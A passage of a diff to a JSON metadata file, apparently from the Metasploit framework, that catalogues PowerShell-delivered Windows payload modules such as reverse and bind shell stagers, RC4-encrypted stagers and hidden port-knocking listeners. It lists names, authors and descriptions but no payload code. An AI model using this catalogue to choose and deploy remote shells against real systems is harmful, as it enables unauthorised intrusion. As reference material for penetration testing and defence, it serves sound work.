"payload_cmd/windows/powershell/peinject/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_dns", "aliases": [ ], @@ -182135,14 +201023,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves" + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182153,18 +201042,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_named_pipe", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_dns" }, - "payload_cmd/windows/powershell/meterpreter/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_nonx_tcp", + "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4", "aliases": [ ], @@ -182173,15 +201068,16 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "vlad902 " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182192,18 +201088,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/meterpreter/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ord_tcp", + "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", "aliases": [ ], @@ -182212,15 +201114,16 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "spoonm " + "mihi", + "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182231,18 +201134,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp", + "payload_cmd/windows/powershell/peinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_uuid", "aliases": [ ], @@ -182251,15 +201160,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "hdm ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182270,18 +201177,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_allports", + "payload_cmd/windows/powershell/pingback_bind_tcp": { + "name": "Powershell Exec, Windows x86 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/pingback_bind_tcp", "aliases": [ ], @@ -182290,15 +201203,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "bwatters-r7" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nOpen a socket and report UUID when a connection is received (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182309,18 +201218,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/pingback_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_dns", + "payload_cmd/windows/powershell/pingback_reverse_tcp": { + "name": "Powershell Exec, Windows x86 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/pingback_reverse_tcp", "aliases": [ ], @@ -182329,16 +201242,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "RageLtMan" + "bwatters-r7" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182349,18 +201257,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/pingback_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4", + "payload_cmd/windows/powershell/powershell_bind_tcp": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/powershell_bind_tcp", "aliases": [ ], @@ -182369,17 +201281,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "mihi", - "RageLtMan" + "Ben Turner", + "Dave Hardy", + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -182390,18 +201299,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/powershell_bind_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/powershell_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/powershell_reverse_tcp": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp", "aliases": [ ], @@ -182410,17 +201323,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "mihi", - "RageLtMan" + "Ben Turner", + "Dave Hardy", + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -182431,18 +201341,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/powershell_reverse_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/powershell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_uuid", + "payload_cmd/windows/powershell/powershell_reverse_tcp_ssl": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp_ssl", "aliases": [ ], @@ -182451,15 +201365,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "Ben Turner", + "Dave Hardy", + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -182470,18 +201383,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/powershell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/powershell_reverse_tcp_ssl", + "staged": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_winhttp": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttp", + "payload_cmd/windows/powershell/shell/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Windows Command Shell, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -182490,16 +201407,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", + "spoonm ", "sf ", - "OJ Reeves", "hdm ", + "skape ", "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182510,18 +201426,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_winhttp", + "ref_name": "cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, - "payload_cmd/windows/powershell/meterpreter/reverse_winhttps": { - "name": "Powershell Exec, Windows Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttps", + "payload_cmd/windows/powershell/shell/bind_hidden_tcp": { + "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_tcp", "aliases": [ ], @@ -182530,16 +201452,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", + "spoonm ", "sf ", - "OJ Reeves", "hdm ", + "skape ", "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows winhttp)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182550,18 +201471,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_winhttps", + "ref_name": "cmd/windows/powershell/shell/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_hidden_tcp" }, - "payload_cmd/windows/powershell/metsvc_bind_tcp": { - "name": "Powershell Exec, Windows Meterpreter Service, Bind TCP", - "fullname": "payload/cmd/windows/powershell/metsvc_bind_tcp", + "payload_cmd/windows/powershell/shell/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp", "aliases": [ ], @@ -182570,9 +201497,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "hdm " + "spoonm ", + "sf ", + "hdm ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection (Windows x86)", "references": [ ], @@ -182585,18 +201515,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/metsvc_bind_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/metsvc_reverse_tcp": { - "name": "Powershell Exec, Windows Meterpreter Service, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/metsvc_reverse_tcp", + "payload_cmd/windows/powershell/shell/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -182605,9 +201541,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "hdm " + "spoonm ", + "sf ", + "hdm ", + "skape ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ ], @@ -182620,18 +201560,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/metsvc_reverse_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/shell/bind_named_pipe": { + "name": "Powershell Exec, Windows Command Shell, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/shell/bind_named_pipe", "aliases": [ ], @@ -182640,13 +201586,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf ", - "Borja Merino " + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a pipe connection (Windows x86)", "references": [ ], @@ -182659,18 +201603,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_named_pipe" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_tcp": { - "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", + "payload_cmd/windows/powershell/shell/bind_nonx_tcp": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/shell/bind_nonx_tcp", "aliases": [ ], @@ -182679,13 +201629,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf ", - "Borja Merino " + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (No NX)", "references": [ ], @@ -182698,18 +201646,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_nonx_tcp" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", + "payload_cmd/windows/powershell/shell/bind_tcp": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/shell/bind_tcp", "aliases": [ ], @@ -182718,12 +201672,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", + "spoonm ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (Windows x86)", "references": [ ], @@ -182736,18 +201690,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/shell/bind_tcp_rc4": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_rc4", "aliases": [ ], @@ -182756,13 +201716,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf ", - "OJ Reeves" + "hdm ", + "skape ", + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection", "references": [ ], @@ -182775,18 +201736,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/shell/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_named_pipe", + "payload_cmd/windows/powershell/shell/bind_tcp_uuid": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_uuid", "aliases": [ ], @@ -182795,11 +201762,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "UserExistsError" + "spoonm ", + "sf ", + "hdm ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection with UUID Support (Windows x86)", "references": [ ], @@ -182812,18 +201780,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_named_pipe", + "ref_name": "cmd/windows/powershell/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_nonx_tcp": { - "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", + "payload_cmd/windows/powershell/shell/find_tag": { + "name": "Powershell Exec, Windows Command Shell, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/shell/find_tag", "aliases": [ ], @@ -182832,11 +201806,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "vlad902 " + "spoonm ", + "sf ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nUse an established connection", "references": [ ], @@ -182849,18 +201823,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/find_tag", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_tcp": { - "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp", + "payload_cmd/windows/powershell/shell/reverse_ipv6_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_ipv6_tcp", "aliases": [ ], @@ -182869,12 +201849,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", + "spoonm ", + "sf 